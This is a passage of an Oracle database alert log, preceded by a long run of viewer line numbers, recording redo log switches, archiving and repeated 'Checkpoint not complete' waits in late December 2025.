1794 1795 1796 1797 1798 1799 1800 1801 1802 1803 1804 1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 1825 1826 1827 1828 1829 1830 1831 1832 1833 1834 1835 1836 1837 1838 1839 1840 1841 1842 1843 1844 1845 1846 1847 1848 1849 1850 1851 1852 1853 1854 1855 1856 1857 1858 1859 1860 1861 1862 1863 1864 1865 1866 1867 1868 1869 1870 1871 1872 1873 1874 1875 1876 1877 1878 1879 1880 1881 1882 1883 1884 1885 1886 1887 1888 1889 1890 1891 1892 1893 1894 1895 1896 1897 1898 1899 1900 1901 1902 1903 1904 1905 1906 1907 1908 1909 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034 2035 2036 2037 2038 2039 2040 2041 2042 2043 2044 2045 2046 2047 2048 2049 2050 2051 2052 2053 2054 2055 2056 2057 2058 2059 2060 2061 2062 2063 2064 2065 2066 2067 2068 2069 2070 2071 2072 2073 2074 2075 2076 2077 2078 2079 2080 2081 2082 2083 2084 2085 2086 2087 2088 2089 2090 2091 2092 2093 2094 2095 2096 2097 2098 2099 2100 2101 2102 2103 2104 2105 2106 2107 2108 2109 2110 2111 2112 2113 2114 2115 2116 2117 2118 2119 2120 2121 2122 2123 2124 2125 2126 2127 2128 2129 2130 2131 2132 2133 2134 2135 2136 2137 2138 2139 2140 2141 2142 2143 2144 2145 2146 2147 2148 2149 2150 2151 2152 2153 2154 2155 2156 2157 2158 2159 2160 2161 2162 2163 2164 2165 2166 2167 2168 2169 2170 2171 2172 2173 2174 2175 2176 2177 2178 2179 2180 2181 2182 2183 2184 2185 2186 2187 2188 2189 2190 2191 2192 2193 2194 2195 2196 2197 2198 2199 2200 2201 2202 2203 2204 2205 2206 2207 2208 2209 2210 2211 2212 2213 2214 2215 2216 2217 2218 2219 2220 2221 2222 2223 2224 2225 2226 2227 2228 2229 2230 2231 2232 2233 2234 2235 2236 2237 2238 2239 2240 2241 2242 2243 2244 2245 2246 2247 2248 2249 2250 2251 2252 2253 2254 2255 2256 2257 2258 2259 2260 2261 2262 2263 2264 2265 2266 2267 2268 2269 2270 2271 2272 2273 2274 2275 2276 2277 2278 2279 2280 2281 2282 2283 2284 2285 2286 2287 2288 2289 2290 2291 2292 2293 2294 2295 2296 2297 2298 2299 2300 2301 2302 2303 2304 2305 2306 2307 2308 2309 2310 2311 2312 2313 2314 2315 2316 2317 2318 2319 2320 2321 2322 2323 2324 2325 2326 2327 2328 2329 2330 2331 2332 2333 2334 2335 2336 2337 2338 2339 2340 2341 2342 2343 2344 2345 2346 2347 2348 2349 2350 2351 2352 2353 2354 2355 2356 2357 2358 2359 2360 2361 2362 2363 2364 2365 2366 2367 2368 2369 2370 2371 2372 2373 2374 2375 2376 2377 2378 2379 2380 2381 2382 2383 2384 2385 2386 2387 2388 2389 2390 2391 2392 2393 2394 2395 2396 2397 2398 2399 2400 2401 2402 2403 2404 2405 2406 2407 2408 2409 2410 2411 2412 2413 2414 2415 2416 2417 2418 2419 2420 2421 2422 2423 2424 2425 2426 2427 2428 2429 2430 2431 2432 2433 2434 2435 2436 2437 2438 2439 2440 2441 2442 2443 2444 2445 2446 2447 2448 2449 2450 2451 2452 2453 2454 2455 2456 2457 2458 2459 2460 2461 2462 2463 2464 2465 2466 2467 2468 2469 2470 2471 2472 2473 2474 2475 2476 2477 2478 2479 2480 2481 2482 2483 2484 2485 2486 2487 2488 2489 2490 2491 2492 2493 2494 2495 2496 2497 2498 2499 2500 2501 2502 2503 2504 2505 2506 2507 2508 2509 2510 2511 2512 2513 2514 2515 2516 2517 2518 2519 2520 2521 2522 2523 2524 2525 2526 2527 2528 2529 2530 2531 2532 2533 2534 2535 2536 2537 2538 2539 2540 2541 2542 2543 2544 2545 2546 2547 2548 2549 2550 2551 2552 2553 2554 2555 2556 2557 2558 2559 2560 2561 2562 2563 2564 2565 2566 2567 2568 2569 2570 2571 2572 2573 2574 2575 2576 2577 2578 2579 2580 2581 2582 2583 2584 2585 2586 2587 2588 2589 2590 2591 2592 2593 2594 2595 2596 2597 2598 2599 2600 2601 2602 2603 2604 2605 2606 2607 2608 2609 2610 2611 2612 2613 2614 2615 2616 2617 2618 2619 2620 2621 2622 2623 2624 2625 2626 2627 2628 2629 2630 2631 2632 2633 2634 2635 2636 2637 2638 2639 2640 2641 2642 2643 2644 2645 2646 2647 2648 2649 2650 2651 2652 2653 2654 2655 2656 2657 2658 2659 2660 2661 2662 2663 2664 2665 2666 2667 2668 2669 2670 2671 2672 2673 2674 2675 2676 2677 2678 2679 2680 2681 2682 2683 2684 2685 2686 2687 2688 2689 2690 2691 2692 2693 2694 2695 2696 2697 2698 2699 2700 2701 2702 2703 2704 2705 2706 2707 2708 2709 2710 2711 2712 2713 2714 2715 2716 2717 2718 2719 2720 2721 2722 2723 2724 2725 2726 2727 2728 2729 2730 2731 2732 2733 2734 2735 2736 2737 2738 2739 2740 2741 2742 2743 2744 2745 2746 2747 2748 2749 2750 2751 2752 2753 2754 2755 2756 2757 2758 2759 2760 2761 2762 2763 2764 2765 2766 2767 2768 2769 2770 2771 2772 2773 2774 2775 2776 2777 2778 2779 2780 2781 2782 2783 2784 2785 2786 2787 2788 2789 2790 2791 2792 2793 2794 2795 2796 2797 2798 2799 2800 2801 2802 2803 2804 2805 2806 2807 2808 2809 2810 2811 2812 2813 2814 2815 2816 2817 2818 2819 2820 2821 2822 2823 2824 2825 2826 2827 2828 2829 2830 2831 2832 2833 2834 2835 2836 2837 2838 2839 2840 2841 2842 2843 2844 2845 2846 2847 2848 2849 2850 2851 2852 2853 2854 2855 2856 2857 2858 2859 2860 2861 2862 2863 2864 2865 2866 2867 2868 2869 2870 2871 2872 2873 2874 2875 2876 2877 2878 2879 2880 2881 2882 2883 2884 2885 2886 2887 2888 2889 2890 2891 2892 2893 2894 2895 2896 2897 2898 2899 2900 2901 2902 2903 2904 2905 2906 2907 2908 2909 2910 2911 2912 2913 2914 2915 2916 2917 2918 2919 2920 2921 2922 2923 2924 2925 2926 2927 2928 2929 2930 2931 2932 2933 2934 2935 2936 2937 2938 2939 2940 2941 2942 2943 2944 2945 2946 2947 2948 2949 2950 2951 2952 2953 2954 2955 2956 2957 2958 2959 2960 2961 2962 2963 2964 2965 2966 2967 2968 2969 2970 2971 2972 2973 2974 2975 2976 2977 2978 2979 2980 2981 2982 2983 2984 2985 2986 2987 2988 2989 2990 2991 2992 2993 2994 2995 2996 2997 2998 2999 3000 3001 3002 3003 3004 3005 3006 3007 3008 3009 3010 3011 3012 3013 3014 3015 3016 3017 3018 3019 3020 3021 3022 3023 3024 3025 3026 3027 3028 3029 3030 3031 3032 3033 3034 3035 3036 3037 3038 3039 3040 3041 3042 3043 3044 3045 3046 3047 3048 3049 3050 3051 3052 3053 3054 3055 3056 3057 3058 3059 3060 3061 3062 3063 3064 3065 3066 3067 3068 3069 3070 3071 3072 3073 3074 3075 3076 3077 3078 3079 3080 3081 3082 3083 3084 3085 3086 3087 3088 3089 3090 3091 3092 3093 3094 3095 3096 3097 3098 3099 3100 3101 3102 3103 3104 3105 3106 3107 3108 3109 3110 3111 3112 3113 3114 3115 3116 3117 3118 3119 3120 3121 3122 3123 3124 3125 3126 3127 3128 3129 3130 3131 3132 3133 3134 3135 3136 3137 3138 3139 3140 3141 3142 3143 3144 3145 3146 3147 3148 3149 3150 3151 3152 3153 3154 3155 3156 3157 3158 3159 3160 3161 3162 3163 3164 3165 3166 3167 3168 3169 3170 3171 3172 3173 3174 3175 3176 3177 3178 3179 3180 3181 3182 3183 3184 3185 3186 3187 3188 3189 3190 3191 3192 3193 3194 3195 3196 3197 3198 3199 3200 3201 3202 3203 3204 3205 3206 3207 3208 3209 3210 3211 3212 3213 3214 3215 3216 3217 3218 3219 3220 3221 3222 3223 3224 3225 3226 3227 3228 3229 3230 3231 3232 3233 3234 3235 3236 3237 3238 3239 3240 3241 3242 3243 3244 3245 3246 3247 3248 3249 3250 3251 3252 3253 3254 3255 3256 3257 3258 3259 3260 3261 3262 3263 3264 3265 3266 3267 3268 3269 3270 3271 3272 3273 3274 3275 3276 3277 3278 3279 3280 3281 3282 3283 3284 3285 3286 3287 3288 3289 3290 3291 3292 3293 3294 3295 3296 3297 3298 3299 3300 3301 3302 3303 3304 3305 3306 3307 3308 3309 3310 3311 3312 3313 3314 3315 3316 3317 3318 3319 3320 3321 3322 3323 3324 3325 3326 3327 3328 3329 3330 3331 3332 3333 3334 3335 3336 3337 3338 3339 3340 3341 3342 3343 3344 3345 3346 3347 3348 3349 3350 3351 3352 3353 3354 3355 3356 3357 3358 3359 3360 3361 3362 3363 3364 3365 3366 3367 3368 3369 3370 3371 3372 3373 3374 3375 3376 3377 3378 3379 3380 3381 3382 3383 3384 3385 3386 3387 3388 3389 3390 3391 3392 3393 3394 3395 3396 3397 3398 3399 3400 3401 3402 3403 3404 3405 3406 3407 3408 3409 3410 3411 3412 3413 3414 3415 3416 3417 3418 3419 3420 3421 3422 3423 3424 3425 3426 3427 3428 3429 3430 3431 3432 3433 3434 3435 3436 3437 3438 3439 3440 3441 3442 3443 3444 3445 3446 3447 3448 3449 3450 3451 3452 3453 3454 3455 3456 3457 3458 3459 3460 3461 3462 3463 3464 3465 3466 3467 3468 3469 3470 3471 3472 3473 3474 3475 3476 3477 3478 3479 3480 3481 3482 3483 3484 3485 3486 3487 3488 3489 3490 3491 3492 3493 3494 3495 3496 3497 3498 3499 3500 3501 3502 3503 3504 3505 3506 3507 3508 3509 3510 3511 3512 3513 3514 3515 3516 3517 3518 3519 3520 3521 3522 3523 3524 3525 3526 3527 3528 3529 3530 3531 3532 3533 3534 3535 3536 3537 3538 3539 3540 3541 3542 3543 3544 3545 3546 3547 3548 3549 3550 3551 3552 3553 3554 3555 3556 3557 3558 3559 3560 3561 3562 3563 3564 3565 3566 3567 3568 3569 3570 3571 3572 3573 3574 3575 3576 3577 3578 3579 3580 3581 3582 3583 3584 3585 3586 3587 3588 3589 3590 3591 3592 3593 3594 3595 3596 3597 3598 3599 3600 3601 3602 3603 3604 3605 3606 3607 3608 3609 3610 3611 3612 3613 3614 3615 3616 3617 3618 3619 3620 3621 3622 3623 3624 3625 3626 3627 3628 3629 3630 3631 3632 3633 3634 3635 3636 3637 3638 3639 3640 3641 3642 3643 3644 3645 3646 3647 3648 3649 3650 3651 3652 3653 3654 3655 3656 3657 3658 3659 3660 3661 3662 3663 3664 3665 3666 3667 3668 3669 3670 3671 3672 3673 3674 3675 3676 3677 3678 3679 3680 3681 3682 3683 3684 3685 3686 3687 3688 3689 3690 3691 3692 3693 3694 3695 3696 3697 3698 3699 3700 3701 3702 3703 3704 3705 3706 3707 3708 3709 3710 3711 3712 3713 3714 3715 3716 3717 3718 3719 3720 3721 3722 3723 3724 3725 3726 3727 3728 3729 3730 3731 3732 3733 3734 3735 3736 3737 3738 3739 3740 3741 3742 3743 3744 3745 3746 3747 3748 3749 3750 3751 3752 3753 3754 3755 3756 3757 3758 3759 3760 3761 3762 3763 3764 3765 3766 3767 3768 3769 3770 3771 3772 3773 3774 3775 3776 3777 3778 3779 3780 3781 3782 3783 3784 3785 3786 3787 3788 3789 3790 3791 3792 3793 3794 3795 3796 3797 3798 3799 3800 3801 3802 3803 3804 3805 3806 3807 3808 3809 3810 3811 3812 3813 3814 3815 3816 3817 3818 3819 3820 3821 3822 3823 3824 3825 3826 3827 3828 3829 3830 3831 3832 3833 3834 3835 3836 3837 3838 3839 3840 3841 3842 3843 3844 3845 3846 3847 3848 3849 3850 3851 3852 3853 3854 3855 3856 3857 3858 3859 3860 3861 3862 3863 3864 3865 3866 3867 3868 3869 3870 3871 3872 3873 3874 3875 3876 3877 3878 3879 3880 3881 3882 3883 3884 3885 3886 3887 3888 3889 3890 3891 3892 3893 3894 3895 3896 3897 3898 3899 3900 3901 3902 3903 3904 3905 3906 3907 3908 3909 3910 3911 3912 3913 3914 3915 3916 3917 3918 3919 3920 3921 3922 3923 3924 3925 3926 3927 3928 3929 3930 3931 3932 3933 3934 3935 3936 3937 3938 3939 3940 3941 3942 3943 3944 3945 3946 3947 3948 3949 3950 3951 3952 3953 3954 3955 3956 3957 3958 3959 3960 3961 3962 3963 3964 3965 3966 3967 3968 3969 3970 3971 3972 3973 3974 3975 3976 3977 3978 3979 3980 3981 3982 3983 3984 3985 3986 3987 3988 3989 3990 3991 3992 3993 3994 3995 3996 3997 3998 3999 4000 4001 4002 4003 4004 4005 4006 4007 4008 4009 4010 4011 4012 4013 4014 4015 4016 4017 4018 4019 4020 4021 4022 4023 4024 4025 4026 4027 4028 4029 4030 4031 4032 4033 4034 4035 4036 4037 4038 4039 4040 4041 4042 4043 4044 4045 4046 4047 4048 4049 4050 4051 4052 4053 4054 4055 4056 4057 4058 4059 4060 4061 4062 4063 4064 4065 4066 4067 4068 4069 4070 4071 4072 4073 4074 4075 4076 4077 4078 4079 4080 4081 4082 4083 4084 4085 4086 4087 4088 4089 4090 4091 4092 4093 4094 4095 4096 4097 4098 4099 4100 4101 4102 4103 4104 4105 4106 4107 4108 4109 4110 4111 4112 4113 4114 4115 4116 4117 4118 4119 4120 4121 4122 4123 4124 4125 4126 4127 4128 4129 4130 4131 4132 4133 4134 4135 4136 4137 4138 4139 4140 4141 4142 4143 4144 4145 4146 4147 4148 4149 4150 4151 4152 4153 4154 4155 4156 4157 4158 4159 4160 4161 4162 4163 4164 4165 4166 4167 4168 4169 4170 4171 4172 4173 4174 4175 4176 4177 4178 4179 4180 4181 4182 4183 4184 4185 4186 4187 4188 4189 4190 4191 4192 4193 4194 4195 4196 4197 4198 4199 4200 4201 4202 4203 4204 4205 4206 4207 4208 4209 4210 4211 4212 4213 4214 4215 4216 4217 4218 4219 4220 4221 4222 4223 4224 4225 4226 4227 4228 4229 4230 4231 4232 4233 4234 4235 4236 4237 4238 4239 4240 4241 4242 4243 4244 4245 4246 4247 4248 4249 4250 4251 4252 4253 4254 4255 4256 4257 4258 4259 4260 4261 4262 4263 4264 4265 4266 4267 4268 4269 4270 4271 4272 4273 4274 4275 4276 4277 4278 4279 4280 4281 4282 4283 4284 4285 4286 4287 4288 4289 4290 4291 4292 4293 4294 4295 4296 4297 4298 4299 4300 4301 4302 4303 4304 4305 4306 4307 4308 4309 4310 4311 4312 4313 4314 4315 4316 4317 4318 4319 4320 4321 4322 4323 4324 4325 4326 4327 4328 4329 4330 4331 4332 4333 4334 4335 4336 4337 4338 4339 4340 4341 4342 4343 4344 4345 4346 4347 4348 4349 4350 4351 4352 4353 4354 4355 4356 4357 4358 4359 4360 4361 4362 4363 4364 4365 4366 4367 4368 4369 4370 4371 4372 4373 4374 4375 4376 4377 4378 4379 4380 4381 4382 4383 4384 4385 4386 4387 4388 4389 4390 4391 4392 4393 4394 4395 4396 4397 4398 4399 4400 4401 4402 4403 4404 4405 4406 4407 4408 4409 4410 4411 4412 4413 4414 4415 4416 4417 4418 4419 4420 4421 4422 4423 4424 4425 4426 4427 4428 4429 4430 4431 4432 4433 4434 4435 4436 4437 4438 4439 4440 4441 4442 4443 4444 4445 4446 4447 4448 4449 4450 4451 4452 4453 4454 4455 4456 4457 4458 4459 4460 4461 4462 4463 4464 4465 4466 4467 4468 4469 4470 4471 4472 4473 4474 4475 4476 4477 4478 4479 4480 4481 4482 4483 4484 4485 4486 4487 4488 4489 4490 4491 4492 4493 4494 4495 4496 4497 4498 4499 4500 4501 4502 4503 4504 4505 4506 4507 4508 4509 4510 4511 4512 4513 4514 4515 4516 4517 4518 4519 4520 4521 4522 4523 4524 4525 4526 4527 4528 4529 4530 4531 4532 4533 4534 4535 4536 4537 4538 4539 4540 4541 4542 4543 4544 4545 4546 4547 4548 4549 4550 4551 4552 4553 4554 4555 4556 4557 4558 4559 4560 4561 4562 4563 4564 4565 4566 4567 4568 4569 4570 4571 4572 4573 4574 4575 4576 4577 4578 4579 4580 4581 4582 4583 4584 4585 4586 4587 4588 4589 4590 4591 4592 4593 4594 4595 4596 4597 4598 4599 4600 4601 4602 4603 4604 4605 4606 4607 4608 4609 4610 4611 4612 4613 4614 4615 4616 4617 4618 4619 4620 4621 4622 4623 4624 4625 4626 4627 4628 4629 4630 4631 4632 4633 4634 4635 4636 4637 4638 4639 4640 4641 4642 4643 4644 4645 4646 4647 4648 4649 4650 4651 4652 4653 4654 4655 4656 4657 4658 4659 4660 4661 4662 4663 4664 4665 4666 4667 4668 4669 4670 4671 4672 4673 4674 4675 4676 4677 4678 4679 4680 4681 4682 4683 4684 4685 4686 4687 4688 4689 4690 4691 4692 4693 4694 4695 4696 4697 4698 4699 4700 4701 4702 4703 4704 4705 4706 4707 4708 4709 4710 4711 4712 4713 4714 4715 4716 4717 4718 4719 4720 4721 4722 4723 4724 4725 4726 4727 4728 4729 4730 4731 4732 4733 4734 4735 4736 4737 4738 4739 4740 4741 4742 4743 4744 4745 4746 4747 4748 4749 4750 4751 4752 4753 4754 4755 4756 4757 4758 4759 4760 4761 4762 4763 4764 4765 4766 4767 4768 4769 4770 4771 4772 4773 4774 4775 4776 4777 4778 4779 4780 4781 4782 4783 4784 4785 4786 4787 4788 4789 4790 4791 4792 4793 4794 4795 4796 4797 4798 4799 4800 4801 4802 4803 4804 4805 4806 4807 4808 4809 4810 4811 4812 4813 4814 4815 4816 4817 4818 4819 4820 4821 4822 4823 4824 4825 4826 4827 4828 4829 4830 4831 4832 4833 4834 4835 4836 4837 4838 4839 4840 4841 4842 4843 4844 4845 4846 4847 4848 4849 4850 4851 4852 4853 4854 4855 4856 4857 4858 4859 4860 4861 4862 4863 4864 4865 4866 4867 4868 4869 4870 4871 4872 4873 4874 4875 4876 4877 4878 4879 4880 4881 4882 4883 4884 4885 4886 4887 4888 4889 4890 4891 4892 4893 4894 4895 4896 4897 4898 4899 4900 4901 4902 4903 4904 4905 4906 4907 4908 4909 4910 4911 4912 4913 4914 4915 4916 4917 4918 4919 4920 4921 4922 4923 4924 4925 4926 4927 4928 4929 4930 4931 4932 4933 4934 4935 4936 4937 4938 4939 4940 4941 4942 4943 4944 4945 4946 4947 4948 4949 4950 4951 4952 4953 4954 4955 4956 4957 4958 4959 4960 4961 4962 4963 4964 4965 4966 4967 4968 4969 4970 4971 4972 4973 4974 4975 4976 4977 4978 4979 4980 4981 4982 4983 4984 4985 4986 4987 4988 4989 4990 4991 4992 4993 4994 4995 4996 4997 4998 4999 5000 5001 5002 5003 5004 5005 5006 5007 5008 5009 5010 5011 5012 5013 5014 5015 5016 5017 5018 5019 5020 5021 5022 5023 5024 5025 5026 5027 5028 5029 5030 5031 5032 5033 5034 5035 5036 5037 5038 5039 5040 5041 5042 5043 5044 5045 5046 5047 5048 5049 5050 5051 5052 5053 5054 5055 5056 5057 5058 5059 5060 5061 5062 5063 5064 5065 5066 5067 5068 5069 5070 5071 5072 5073 5074 5075 5076 5077 5078 5079 5080 5081 5082 5083 5084 5085 5086 5087 5088 5089 5090 5091 5092 5093 5094 5095 5096 5097 5098 5099 5100 5101 5102 5103 5104 5105 5106 5107 5108 5109 5110 5111 5112 5113 5114 5115 5116 5117 5118 5119 5120 5121 5122 5123 5124 5125 5126 5127 5128 5129 5130 5131 5132 5133 5134 5135 5136 5137 5138 5139 5140 5141 5142 5143 5144 5145 5146 5147 5148 5149 5150 5151 5152 5153 5154 5155 5156 5157 5158 5159 5160 5161 5162 5163 5164 5165 5166 5167 5168 5169 5170 5171 5172 5173 5174 5175 5176 5177 5178 5179 5180 5181 5182 5183 5184 5185 5186 5187 5188 5189 5190 5191 5192 5193 5194 5195 5196 5197 5198 5199 5200 5201 5202 5203 5204 5205 5206 5207 5208 5209 5210 5211 5212 5213 5214 5215 5216 5217 5218 5219 5220 5221 5222 5223 5224 5225 5226 5227 5228 5229 5230 5231 5232 5233 5234 5235 5236 5237 5238 5239 5240 5241 5242 5243 5244 5245 5246 5247 5248 5249 5250 5251 5252 5253 5254 5255 5256 5257 5258 5259 5260 5261 5262 5263 5264 5265 5266 5267 5268 5269 5270 5271 5272 5273 5274 5275 5276 5277 5278 5279 5280 5281 5282 5283 5284 5285 5286 5287 5288 5289 5290 5291 5292 5293 5294 5295 5296 5297 5298 5299 5300 5301 5302 5303 5304 5305 5306 5307 5308 5309 5310 5311 5312 5313 5314 5315 5316 5317 5318 5319 5320 5321 5322 5323 5324 5325 5326 5327 5328 5329 5330 5331 5332 5333 5334 5335 5336 5337 5338 5339 5340 5341 5342 5343 5344 5345 5346 5347 5348 5349 5350 5351 5352 5353 5354 5355 5356 5357 5358 5359 5360 5361 5362 5363 5364 5365 5366 5367 5368 5369 5370 5371 5372 5373 5374 5375 5376 5377 5378 5379 5380 5381 5382 5383 5384 5385 5386 5387 5388 5389 5390 5391 5392 5393 5394 5395 5396 5397 5398 5399 5400 5401 5402 5403 5404 5405 5406 5407 5408 5409 5410 5411 5412 5413 5414 5415 5416 5417 5418 5419 5420 5421 5422 5423 5424 5425 5426 5427 5428 5429 5430 5431 5432 5433 5434 5435 5436 5437 5438 5439 5440 5441 5442 5443 5444 5445 5446 5447 5448 5449 5450 5451 5452 5453 5454 5455 5456 5457 5458 5459 5460 5461 5462 5463 5464 5465 5466 5467 5468 5469 5470 5471 5472 5473 5474 5475 5476 5477 5478 5479 5480 5481 5482 5483 5484 5485 5486 5487 5488 5489 5490 5491 5492 5493 5494 5495 5496 5497 5498 5499 5500 5501 5502 5503 5504 5505 5506 5507 5508 5509 5510 5511 5512 5513 5514 5515 5516 5517 5518 5519 5520 5521 5522 5523 5524 5525 5526 5527 5528 5529 5530 5531 5532 5533 5534 5535 5536 5537 5538 5539 5540 5541 5542 5543 5544 5545 5546 5547 5548 5549 5550 5551 5552 5553 5554 5555 5556 5557 5558 5559 5560 5561 5562 5563 5564 5565 5566 5567 5568 5569 5570 5571 5572 5573 5574 5575 5576 5577 5578 5579 5580 5581 5582 5583 5584 5585 5586 5587 5588 5589 5590 5591 5592 5593 5594 5595 5596 5597 5598 5599 5600 5601 5602 5603 5604 5605 5606 5607 5608 5609 5610 5611 5612 5613 5614 5615 5616 5617 5618 5619 5620 5621 5622 5623 5624 5625 5626 5627 5628 5629 5630 5631 5632 5633 5634 5635 5636 5637 5638 5639 5640 5641 5642 5643 5644 5645 5646 5647 5648 5649 5650 5651 5652 5653 5654 5655 5656 5657 5658 5659 5660 5661 5662 5663 5664 5665 5666 5667 5668 5669 5670 5671 5672 5673 5674 5675 5676 5677 5678 5679 5680 5681 5682 5683 5684 5685 5686 5687 5688 5689 5690 5691 5692 5693 5694 5695 5696 5697 5698 5699 5700 5701 5702 5703 5704 5705 5706 5707 5708 5709 5710 5711 5712 5713 5714 5715 5716 5717 5718 5719 5720 5721 5722 5723 5724 5725 5726 5727 5728 5729 5730 5731 5732 5733 5734 5735 5736 5737 5738 5739 5740 5741 5742 5743 5744 5745 5746 5747 5748 5749 5750 5751 5752 5753 5754 5755 5756 5757 5758 5759 5760 5761 5762 5763 5764 5765 5766 5767 5768 5769 5770 5771 5772 5773 5774 5775 5776 5777 5778 5779 5780 5781 5782 5783 5784 5785 5786 5787 5788 5789 5790 5791 5792 5793 5794 5795 5796 5797 5798 5799 5800 5801 5802 5803 5804 5805 5806 5807 5808 5809 5810 5811 5812 5813 5814 5815 5816 5817 5818 5819 5820 5821 5822 5823 5824 5825 5826 5827 5828 5829 5830 5831 5832 5833 5834 5835 5836 5837 5838 5839 5840 5841 5842 5843 5844 5845 5846 5847 5848 5849 5850 5851 5852 5853 5854 5855 5856 5857 5858 5859 5860 5861 5862 5863 5864 5865 5866 5867 5868 5869 5870 5871 5872 5873 5874 5875 5876 5877 5878 5879 5880 5881 5882 5883 5884 5885 5886 5887 5888 5889 5890 5891 5892 5893 5894 5895 5896 5897 5898 5899 5900 5901 5902 5903 5904 5905 5906 5907 5908 5909 5910 5911 5912 5913 5914 5915 5916 5917 5918 5919 5920 5921 5922 5923 5924 5925 5926 5927 5928 5929 5930 5931 5932 5933 5934 5935 5936 5937 5938 5939 5940 5941 5942 5943 5944 5945 5946 5947 5948 5949 5950 5951 5952 5953 5954 5955 5956 5957 5958 5959 5960 5961 5962 5963 5964 5965 5966 5967 5968 5969 5970 5971 5972 5973 5974 5975 5976 5977 5978 5979 5980 5981 5982 5983 5984 5985 5986 5987 5988 5989 5990 5991 5992 5993 5994 5995 5996 5997 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6008 6009 6010 6011 6012 6013 6014 6015 6016 6017 6018 6019 6020 6021 6022 6023 6024 6025 6026 6027 6028 6029 6030 6031 6032 6033 6034 6035 6036 6037 6038 6039 6040 6041 6042 6043 6044 6045 6046 6047 6048 6049 6050 6051 6052 6053 6054 6055 6056 6057 6058 6059 6060 6061 6062 6063 6064 6065 6066 6067 6068 6069 6070 6071 6072 6073 6074 6075 6076 6077 6078 6079 6080 6081 6082 6083 6084 6085 6086 6087 6088 6089 6090 6091 6092 6093 6094 6095 6096 6097 6098 6099 6100 6101 6102 6103 6104 6105 6106 6107 6108 6109 6110 6111 6112 6113 6114 6115 6116 6117 6118 6119 6120 6121 6122 6123 6124 6125 6126 6127 6128 6129 6130 6131 6132 6133 6134 6135 6136 6137 6138 6139 6140 6141 6142 6143 6144 6145 6146 6147 6148 6149 6150 6151 6152 6153 6154 6155 6156 6157 6158 6159 6160 6161 6162 6163 6164 6165 6166 6167 6168 6169 6170 6171 6172 6173 6174 6175 6176 6177 6178 6179 6180 6181 6182 6183 6184 6185 6186 6187 6188 6189 6190 6191 6192 6193 6194 6195 6196 6197 6198 6199 6200 6201 6202 6203 6204 6205 6206 6207 6208 6209 6210 6211 6212 2025-12-27T22:59:38.056909+08:00 Thread 1 advanced to log sequence 2112 (LGWR switch) Current log# 1 seq# 2112 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T22:59:38.102460+08:00 ARC1 (PID:1867): Archived Log entry 2107 added for T-1.S-2111 ID 0x75f9c04b LAD:1 2025-12-27T22:59:38.194749+08:00 Thread 1 advanced to log sequence 2113 (LGWR switch) Current log# 2 seq# 2113 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T22:59:38.218587+08:00 ARC2 (PID:1869): Archived Log entry 2108 added for T-1.S-2112 ID 0x75f9c04b LAD:1 2025-12-27T22:59:38.256787+08:00 Thread 1 cannot allocate new log, sequence 2114 Checkpoint not complete Current log# 2 seq# 2113 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T22:59:41.476910+08:00 Thread 1 advanced to log sequence 2114 (LGWR switch) Current log# 3 seq# 2114 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T22:59:41.523447+08:00 ARC3 (PID:1871): Archived Log entry 2109 added for T-1.S-2113 ID 0x75f9c04b LAD:1 2025-12-27T22:59:41.571233+08:00 Thread 1 cannot allocate new log, sequence 2115 Checkpoint not complete Current log# 3 seq# 2114 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T22:59:44.529759+08:00 Thread 1 advanced to log sequence 2115 (LGWR switch) Current log# 1 seq# 2115 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T22:59:44.565048+08:00 ARC0 (PID:1861): Archived Log entry 2110 added for T-1.S-2114 ID 0x75f9c04b LAD:1 2025-12-27T22:59:44.606938+08:00 Thread 1 cannot allocate new log, sequence 2116 Checkpoint not complete Current log# 1 seq# 2115 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T22:59:47.527232+08:00 Thread 1 advanced to log sequence 2116 (LGWR switch) Current log# 2 seq# 2116 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T22:59:47.555156+08:00 ARC1 (PID:1867): Archived Log entry 2111 added for T-1.S-2115 ID 0x75f9c04b LAD:1 2025-12-27T22:59:47.599734+08:00 Thread 1 cannot allocate new log, sequence 2117 Checkpoint not complete Current log# 2 seq# 2116 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T22:59:50.621810+08:00 Thread 1 advanced to log sequence 2117 (LGWR switch) Current log# 3 seq# 2117 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T22:59:50.662046+08:00 ARC2 (PID:1869): Archived Log entry 2112 added for T-1.S-2116 ID 0x75f9c04b LAD:1 2025-12-27T22:59:50.707675+08:00 Thread 1 cannot allocate new log, sequence 2118 Checkpoint not complete Current log# 3 seq# 2117 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T22:59:53.632972+08:00 Thread 1 advanced to log sequence 2118 (LGWR switch) Current log# 1 seq# 2118 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T22:59:53.668825+08:00 ARC3 (PID:1871): Archived Log entry 2113 added for T-1.S-2117 ID 0x75f9c04b LAD:1 2025-12-27T22:59:53.713892+08:00 Thread 1 cannot allocate new log, sequence 2119 Checkpoint not complete Current log# 1 seq# 2118 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T22:59:56.752437+08:00 Thread 1 advanced to log sequence 2119 (LGWR switch) Current log# 2 seq# 